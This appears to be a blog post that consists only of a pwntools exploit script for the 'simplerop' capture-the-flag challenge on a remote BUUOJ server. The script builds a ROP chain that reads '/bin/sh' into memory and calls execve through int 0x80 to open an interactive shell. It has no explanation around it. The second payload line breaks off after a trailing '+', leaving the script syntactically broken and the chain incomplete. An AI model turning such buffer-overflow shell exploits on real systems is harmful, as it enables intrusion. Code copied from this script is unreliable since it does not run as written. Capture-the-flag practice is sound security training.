https://www.cnblogs.com/bhxdn/p/12330142.html

```
from pwn import *
#p = process('./simplerop')
p = remote('node4.buuoj.cn',29097)
context.log_level = 'debug'
p.recv()
int_addr = 0x080493e1
pop_eax = 0x080bae06
read_addr= 0x0806CD50
binsh_addr = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850
payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) +
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()
```